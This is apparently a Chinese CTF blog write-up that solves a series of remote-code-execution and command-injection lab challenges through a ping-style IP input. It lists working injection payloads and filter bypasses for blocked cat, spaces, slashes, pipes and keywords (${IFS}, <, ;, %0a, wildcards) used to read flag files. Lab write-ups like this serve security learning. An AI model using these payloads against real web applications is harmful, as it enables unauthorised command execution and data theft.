CTF-RCE

eval执行

?cmd=systemctl("ls");

?cmd=systemctl("ls /");

?cmd=systemctl("cat /flag_27523);

命令注入

输入ip试试发先可以执行

127.0.0.1

查看一下看看有社么

127.0.0.1 | ls

试着看看php文件

127.0.0.1 | cat 297581345892.php

貌似这个文件有东西

127.0.0.1 | cat index.php

应该是文件中包含特殊字符,使用管道运行base64加密内容

127.0.0.1 | cat *.php | base64

挨个解码一下结果第一个就是

过滤cat

试试127.0.0.1发现过滤了cat

ls发现flag.php

127.0.0.1 | ls
127.0.0.1 | ls

而cat被禁用了

  • linux查看文本的命令
    • cat 由第一行开始显示内容,并将所有内容输出
    • tac 从最后一行倒序显示内容,并将所有内容输出
    • more 根据窗口大小,一页一页的现实文件内容
    • less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
    • head 只显示头几行
    • tail 只显示最后几行
    • nl 类似于cat -n,显示时输出行号
    • tailf 类似于tail -f

这里选择more试试

127.0.0.1 | more flag_1080915285305as97.php

猜测跟上一题一样

127.0.0.1 | more flag_1080915285305as97.php | be64

解码

过滤空格

输入127.0.0.1看看发现过滤空格

那我们将空格替换

这边我选择/**/替代

127.0.0.1/**/|/**/ ls

127.0.0.1/**/|/**/ cat/**/flag_62271467726390.php/**/|/**/base64

这边不成功我们换一个<

127.0.0.1|cat<flag_62271467726390.php|base64

解码

过滤目录分隔符

127.0.0.1 | ls

发现了flag.php因为过滤了/\不能使用ls/查看子目录使用cd

127.0.0.1;cd flag_is_here;ls

cat他

127.0.0.1;cd flag_is_here;cat flag_31823208020462.php|base64

解码

过滤运算符

看到过滤运算符我们这边用;代替|

127.0.0.1;ls

过滤了管道符|,不能再使用了
base64 falg.php".这个与127.0.0.1| cat falg.php | base64是等价的

127.0.0.1 ; base64 flag_15688173330737.php

解码

综合练习

发现过滤了一堆我们可以用的

空格可以用${IFS}

cat可以用more

flag可以用正则f***

查了一下,在linux下,命令分隔符除了;还有%0a

因为分割符为%0a所以要在url里输入,因为在框内会二次编码

?ip=127.0.0.1%0als

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_21697538524058.php

解码

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值